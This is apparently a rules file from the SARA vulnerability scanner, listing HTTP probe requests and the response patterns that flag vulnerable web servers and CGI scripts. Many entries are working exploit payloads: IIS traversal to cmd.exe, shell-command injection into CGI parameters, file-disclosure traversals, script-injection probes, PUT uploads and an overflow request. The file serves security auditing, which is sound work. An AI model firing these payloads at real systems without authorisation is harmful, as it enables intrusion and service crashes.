#
#sid|input|fail output|attack_level|support|support_output
# "|" in text string should be replaced with a "~"
#
@rules_http = (
# 'HTTP-999|GET / HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-000|GET /sara_probe_test.html HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-001|ditto|/Apache\/1.[12]/|',
 'HTTP-001|ditto|/Apache\/1.3.1/|',
 'HTTP-001|ditto|/Apache\/1.3.2[123456]/|',
 'HTTP-002|ditto|/Apache\/2.0.[0123]/|',
 'HTTP-002|ditto|/Apache\/2.0.4[0-6]/|',
 'HTTP-003|ditto|/Server: SunONE WebServer 6.0/|',
 'HTTP-004|ditto|/Apache\/1.3.2[89]/|',
 'HTTP-005|ditto|/Apache\/1.3.3[123456]/|',
 'HTTP-005|ditto|/Apache\/2.0.4[6-9]/|',
 'HTTP-005|ditto|/Apache\/2.0.5[0-8]/|',
 'HTTP-005|ditto|/Apache\/2.2.[0-2]/|',
 'HTTP-020|ditto|/Microsoft-IIS/|3|{perl/contrib/wd.pl PORT}|/Server crashed/',
 'HTTP-020|ditto|/Microsoft-IIS/|5|{perl/contrib/wd.pl PORT}|/Server crashed/',
 'HTTP-021|ditto|/Microsoft-IIS/|3|{bin/fp}|/succeed/',
 'HTTP-021|ditto|/Microsoft-IIS/|5|{bin/fp}|/succeed/',
 'HTTP-022|ditto|/Server/ && /PHP\/4.2.[01] /|',
 'HTTP-023|ditto|/Server/ && /PHP\/3.0.[1-9][0-9]/',
 'HTTP-024|ditto|/Server/ && /PHP\/4.0.[0-9]/ && !/4.0.[0-9][0-9]/|',
 'HTTP-024|ditto|/Server/ && /PHP\/4.1.[012]/ && !/4.1.[012][0-9]/|',
 'HTTP-024|ditto|/Server/ && /PHP\/4.2.[0123]/ && !/4.2.[0123][0-9]/|',
 'HTTP-024|ditto|/Server/ && /PHP\/4.3.[0-9]/ && !/4.3.[0-9][0-9]/|',
 'HTTP-024|ditto|/Server/ && /PHP\/5.0.[012]/ && !/5.0.[012][0-9]/|',
 'HTTP-025|ditto|/Server/ && /OpenSSL\/0.9.5/|',
 'HTTP-025|ditto|/Server/ && /OpenSSL\/0.9.6[a-h]/|',
 'HTTP-025|ditto|/Server/ && /OpenSSL\/0.9.7[ab]/|',
 'HTTP-026|ditto|/Server/ && /OpenSSL\/0.9.7[a-d]/|',
 'HTTP-026|ditto|/Server/ && /OpenSSL\/0.9.6[ a-m]/|',
 'HTTP-027|ditto|/Server/ && /OpenSSL\/0.9.7[ a-g]/|',
 'HTTP-027|ditto|/Server/ && /OpenSSL\/0.9.8/ && !/0.9.8[a-z]/|',
 'HTTP-028|ditto|/Server: WebSitePro\/1.[0-9] / || /Server: WebSitePro\/2.[0-4] /|',
 'HTTP-029|ditto|/Server: Netscape-Enterprise\/3.51/ && !/SP[0-9]+/|',
 'HTTP-029|ditto|/Server: Netscape-Enterprise\/3.6/ && !/SP[013456789]/|',
 'HTTP-030|ditto|/Server: Netscape-Enterprise\/4.[01]/|',
 'HTTP-030|ditto|/Server: Netscape-Enterprise\/3.[0-6]/|',
 'HTTP-031|ditto|/Server: Netscape-FastTrack\/2.0/ && !/2.0[2-9]/|',
 'HTTP-032|ditto|/Server: Netscape-FastTrack\/3.01/|',
 'HTTP-033|ditto|/Microsoft-IIS\/[34]/ && /OK 20[01]/||{$MSADC -N -h}|/Machine/',
 'HTTP-034|ditto|/Server/ && /PHP\/4.[0-3]/|',
 'HTTP-034|ditto|/Server/ && /PHP\/4.4.[0-6]/|',
 'HTTP-035|ditto|/Server/ && /PHP\/5.[01]/|',
 'HTTP-035|ditto|/Server/ && /PHP\/5.2.1/|',
 'HTTP-036|ditto|/Server/ && /OpenSSL\/0.9.7[ a-k]/|',
 'HTTP-036|ditto|/Server/ && /OpenSSL\/0.9.8[ a-c]/|',

 'HTTP-100|GET /cgi-bin/nph-test-cgi HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-100|GET /cgi-bin/test-cgi/*?* HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-101|GET /cgi-bin/php.cgi?/etc/services|/discard/ && /tcp/|',
 'HTTP-102|GET /cgi-bin/phf?QALIAS=x%0A/bin/cat%20/etc/services|/discard/ && /tcp/|',
 'HTTP-103|GET /mylog.phtml?screen=/etc/services|/discard/ && /tcp/|',
 'HTTP-103|GET /mlog.phtml?screen=/etc/services|/discard/ && /tcp/|',
 'HTTP-104|GET /cgi-bin/campas HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-105|GET /cgi-bin/glimpse HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-106|GET /cgi-bin/handler HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-107|GET /cgi-bin/wrap HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-108|GET /cgi-bin/webdist.cgi?distloc=;/bin/cat%20/etc/services|/discard/ && /tcp/|',
 'HTTP-109|GET /cgi-bin/webgais.cgi HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-110|GET /cgi-bin/websendmail HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-111|GET /cgi-bin/faxsurvey?/bin/cat%20/etc/services|/discard/ && /tcp/|',
 'HTTP-112|GET /cgi-bin/htmlscript?../../../../../../../../etc/services|/discard/ && /tcp/|',
 'HTTP-115|GET /iissamples/exair/howitworks/codebrws.asp?source=/../../boot.ini|/\[boot loader\]/|',
 'HTTP-116|GET /cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c \boot.ini|/\[boot loader\]/|',
 'HTTP-117|GET /cgi-win/uploader.exe HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-118|GET /msadc/msadcs.dll/ActiveDataFactory.Query HTTP/1.0|/20[01] OK/ && !/ Error/||{perl/contrib/msadc.pl -N -h }|/: [A-Za-z0-9 ]/',
 'HTTP-119|GET /_vti_bin/_vti_aut/author.dll HTTP/1.0|/20[01] OK/ && ! /FrontPage Error/|',
 'HTTP-120|GET /_vti_bin/_vti_adm/admin.dll HTTP/1.0|/20[01] OK/ && ! /FrontPage Error/|',
 'HTTP-121|GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET //msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|', 
 'HTTP-121|GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /c/winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-121|GET /d/winnt/system32/cmd.exe?/c+dir+c:\\|/Volume Serial Number/i|',
 'HTTP-122|GET /NULL.htr HTTP/1.0\r\nHost: SARA|/requested file/|',
 'HTTP-123|GET /cgi-bin/awredir.pl?configdir=%7cecho%20%3becho%20b_exp%3bcat%20%2fetc%2fsrvices%3becho%20e_exp%3b%2500 HTTP/1.1\r\nHost: localhost\r\nAccept: */*\r\nConnection: close|/discard/ && /tcp/|',
 'HTTP-200|GET /scripts/tools/newdsn.exe HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-201|GET /scripts/file.bat\"+\&+dir+c:/+.ini|/boot.ini/|',
 'HTTP-210|GET /oprocmgr-status/ HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-211|GET /dms0/|/DMSDUMP/|',
 'HTTP-212|GET /fcgi-bin/echo|/FCGI_ROLE=RESPONDER/|',
 'HTTP-213|GET /soap/servlet/soaprouter HTTP/1.0|/SOAP Server/|',
 'HTTP-214|GET /cgi-shl/win-c-sample.exe HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-215|GET /cgi-bin/jj HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-216|GET /cgi-bin/pfdispaly?../../../../../../etc/service|/discard/ && /tcp/|',
 'HTTP-217|GET /piranha/secure/passwd.php3 HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-218|GET /cgi-bin/ezshopper/loadpage.cgi?user_id=1&file=~cat /etc/services~|/discard/ && /tcp/|',
 'HTTP-219|GET /cgi-bin/ezshopper/search.cgi?user_id=id&database=dbase1.exm&template=.. /../../../../../../etc/services|/discard/ && /tcp/|',
 'HTTP-220|GET /cgi-bin/sojourn.cgi?cat=../../../../../../../etc/services|/discard/ && /tcp/|',
 'HTTP-221|GET /cgi-bin/MachineInfo HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-222|GET /cgi/wja?page=/../../../boot.ini|/\[boot loader\]/|',
 'HTTP-223|GET /iissamples/exair/howitworks/code.asp HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-224|GET /msadc/samples/selector/showcode.asp HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-225|GET /cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/services|/discard/ && /tcp/|',
 'HTTP-226|GET /site/eg/source.asp HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-227|GET /pollit/Poll_It_v2.0.cgi?data_dir=\etc\services%00|/discard/ && /tcp/|',
 'HTTP-228|GET phpPhotoAlbum/explorer.php?folder=../../../../|/20[01] OK/ && !/ Error/|',
 'HTTP-229|GET cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/services%00|/discard/ && /tcp/|',
 'HTTP-230|PUT /sara.txt HTTP/1.0\nContent-Length: 10\nThis is a SARA test file|/20[01] OK/ && !/ Error/|',
 'HTTP-231|PUT /cgi-bin/sara.txt HTTP/1.0\nContent-Length: 10\nThis is a SARA test file|/20[01] OK/ && !/ Error/|',
 'HTTP-232|GET /cgi-bin/shop.cgi?page=../../../services|/discard/ && /tcp/|',
 'HTTP-233|GET /demo/|/OracleJSP Demo/|',
 'HTTP-237|GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/services|/discard/ && /tcp/|',
 'HTTP-238|GET /../../../../../etc/services|/discard/ && /tcp/|',
 'HTTP-239|GET  /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini|/\[boot loader\]/|',
 'HTTP-240|GET /../../../../../boot.ini|/\[boot loader\]/|',
 'HTTP-241|GET /cgi-bin/netauth.cgi?cmd=show&page=../../../boot.ini|/\[boot loader\]/|',
 'HTTP-242|GET /cgi-bin/calendar/calendar_admin.pl?config=~cat%20/etc/services~|/discard/ && /tcp/|',
 'HTTP-243|GET /iissamples/sdk/asp/docs/codebrws.asp|/20[01] OK/ && !/ Error/|',
 'HTTP-244|GET /cfdocs/expeval/exprcalc.cfm HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-245|GET /PDG_Cart/redirect.exe HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-246|GET /mmstdod.cgi?ALTERNATE_TEMPLATES=~%20echo%20"Content-Type:%20text%2Fhtml"%3Bcat%20""%20%3B%20/etc/services|/discard/ && /tcp/|',
 'HTTP-247|GET /cfdocs/exampleapps/email/compose.cfm HTTP/1.0|/CFINCLUDE TEMPLATE/|',
 'HTTP-248|GET /network_query.php?portNum=80&queryType=all&target=www.someserver.com%3Bcat+/etc/services&Submit=Do+It|/discard/ && /tcp/|',
 'HTTP-249|GET /exec/show/config/cr|/access-/|', 
 'HTTP-250|GET /_ncl_subjects.shtml|/20[01] OK/ && !/ Error/|',
 'HTTP-251|GET /global.asp HTTP/1.0\nTranslate: f\nContent-type: x-www-form-urlencoded\nContent-type: text/html\nContent-length: 18\n\nmatch=www&errors=0\n\n|/20[01] OK/ && !/ Error/|',
 'HTTP-121|GET /scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat\"+&+dir+c:\\+.exe HTTP/1.0|/20[01] OK/ && !/ Error/|',
 'HTTP-254|GET /search97cgi/s97_cgi?Action=FilterSearch&Filter=\"><script>SARA</script>\n\n|/\<script\>SARA\<\/script\>/|',
 'HTTP-255|GET /cgi-bin/htdig/htsearch2?words=\"><script>SARA</script>\n\n|/\<script\>SARA\<\/script\>/|',
 'HTTP-256|GET /cgi-bin/htsearch?exclude=\"><script>SARA</script>\n\n|/\<script\>SARA\<\/script\>/|',
 'HTTP-265|GET /x.ida?SARA-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=X HTTP/1.1\nHost: sara.sara.sara\r\n\r\n|/0xc0000005/|',
#'HTTP-266|GET /_vti_bin/_vti_aut/fp30reg.dll?SARA|/501/ && /Not Implemented/|',
 'HTTP-267|GET /NULL.printer HTTP/1.0\n\rHost: localhost\nSARA\n|/printer install/ && !/Error/i|',
 


 'HTTP-300|GET http://www-arc.com/index.shtml|/Advanced Research Corp/|'
            ); 
